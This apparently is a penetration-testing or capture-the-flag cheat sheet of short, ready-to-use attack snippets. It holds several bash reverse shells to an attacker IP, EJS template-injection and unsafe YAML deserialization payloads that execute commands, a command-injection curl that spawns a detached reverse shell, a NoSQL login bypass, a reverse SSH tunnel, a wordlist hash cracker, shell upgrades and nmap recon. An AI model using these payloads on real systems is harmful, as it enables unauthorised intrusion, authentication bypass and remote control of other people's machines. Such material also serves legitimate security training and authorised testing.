Turn a raw reverse shell into a fully interactive TTY — job control, arrow keys, tab-complete, clear — via the classic python-pty + stty dance.
bash
# spawn a PTY inside the dumb shellpython3 -c 'import pty; pty.spawn("/bin/bash")'# background it: Ctrl+Z, then fix the local terminal and pull it backstty raw -echo; fg# re-set a sane terminal so clear/less/vim behaveexport TERM=xterm
Server-side template injection in EJS: confirm with a 7*7 probe, escalate to execSync command execution, then stage a bigger payload via base64.
text
# Values below go into the injectable template field (e.g. template=...).# 1) probe — a reflected "49" proves the input is evaluated as a template<%= 7*7 %># 2) RCE — reach Node's child_process through the template engine<%= process.mainModule.require("child_process").execSync("id") %># 3) stage a real payload without quoting hell: base64 shell.js locally# (base64 -w0 shell.js), then decode + pipe into node on the target<%= process.mainModule.require("child_process").execSync("echo <BASE64> | base64 -d | node") %>
Pull a service that only listens on the target''s loopback (e.g. an admin panel on 127.0.0.1:8080) back to your attacker box over SSH.
bash
# Run on the target (you need outbound SSH to your box). Afterwards the target's# 127.0.0.1:8080 is reachable as 127.0.0.1:8080 on YOUR machine.ssh -N -R 8080:127.0.0.1:8080 -o StrictHostKeyChecking=no <attacker-user>@<attacker-ip>
When an app calls yaml.load() on attacker input, the object/apply constructor executes arbitrary code — here a straight reverse shell.
yaml
# Send as the YAML value the app parses with an unsafe yaml.load().# !!python/object/apply calls os.system with your argument on load.playlist: !!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'"]
Minimal threaded dictionary hash-cracker in pure Python — when you want to script it or match an unusual algorithm instead of reaching for hashcat.
python
#!/usr/bin/env python3import hashlibfrom concurrent.futures import ThreadPoolExecutor, as_completeddef matches(word, target, algo): h = hashlib.new(algo); h.update(word.encode()) return h.hexdigest() == target.lower()def crack(target, wordlist, algo="sha256", workers=8): with open(wordlist, encoding="utf-8", errors="ignore") as f: words = [w.strip() for w in f if w.strip()] with ThreadPoolExecutor(max_workers=workers) as ex: futs = {ex.submit(matches, w, target, algo): w for w in words} for fut in as_completed(futs): if fut.result(): return futs[fut] return Noneif __name__ == "__main__": print(crack("<target-hash>", "/usr/share/wordlists/rockyou.txt", "md5"))
Bypass a login backed by MongoDB/NeDB by sending a query operator instead of a password value — the check becomes "password not equal to null".
bash
# JSON login that injects an operator into the password field.# The backend runs db.findOne({ username, password }) — {"$ne": null} matches# any stored password, so authentication succeeds without knowing it.curl -s -X POST http://<target-ip>/login \ -H "Content-Type: application/json" \ -d '{"username":"<user>","password":{"$ne":null}}'
OS command injection via an unsanitized parameter; setsid + input redirect detaches the reverse shell so it survives the HTTP response returning.
bash
# listener on your boxnc -lvnp 4444# inject after ';' — setsid + < /dev/null & detaches the shell from the request,# so it keeps running once the HTTP handler returnscurl -s -X POST http://<target-ip>/internal/netcheck \ --data-urlencode "host=<attacker-ip>;setsid bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1' < /dev/null &"
First moves against a pwn target: read the binary''s mitigations (NX/PIE/RELRO/canary), then pin the overflow offset with a De Bruijn pattern.
bash
# which mitigations are in play?checksec --file=./<binary># find the exact offset to the saved return addresspwn cyclic 200 # generate a pattern, feed it to the crashing inputpwn cyclic -l 0x<value> # look up the offset from the value that landed in RIP/EIP
The classic bash /dev/tcp reverse shell with a netcat listener — no tooling needed on the target beyond bash itself.
bash
# on your box — catch the callbacknc -lvnp 4444# on the target — bash's built-in /dev/tcp, no nc/socat required therebash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
Two-stage recon: fast all-ports scan, then version/script scan only the ports that came back open.
bash
# 1) fast sweep of all 65535 TCP portsnmap -p- --min-rate 5000 -T4 -oN nmap-allports.txt <target-ip># 2) pull the open ports from the sweep, then deep-scan just thoseports=$(grep -oP '^\d+(?=/tcp\s+open)' nmap-allports.txt | paste -sd, -)nmap -sC -sV -p "$ports" -oN nmap-services.txt <target-ip>
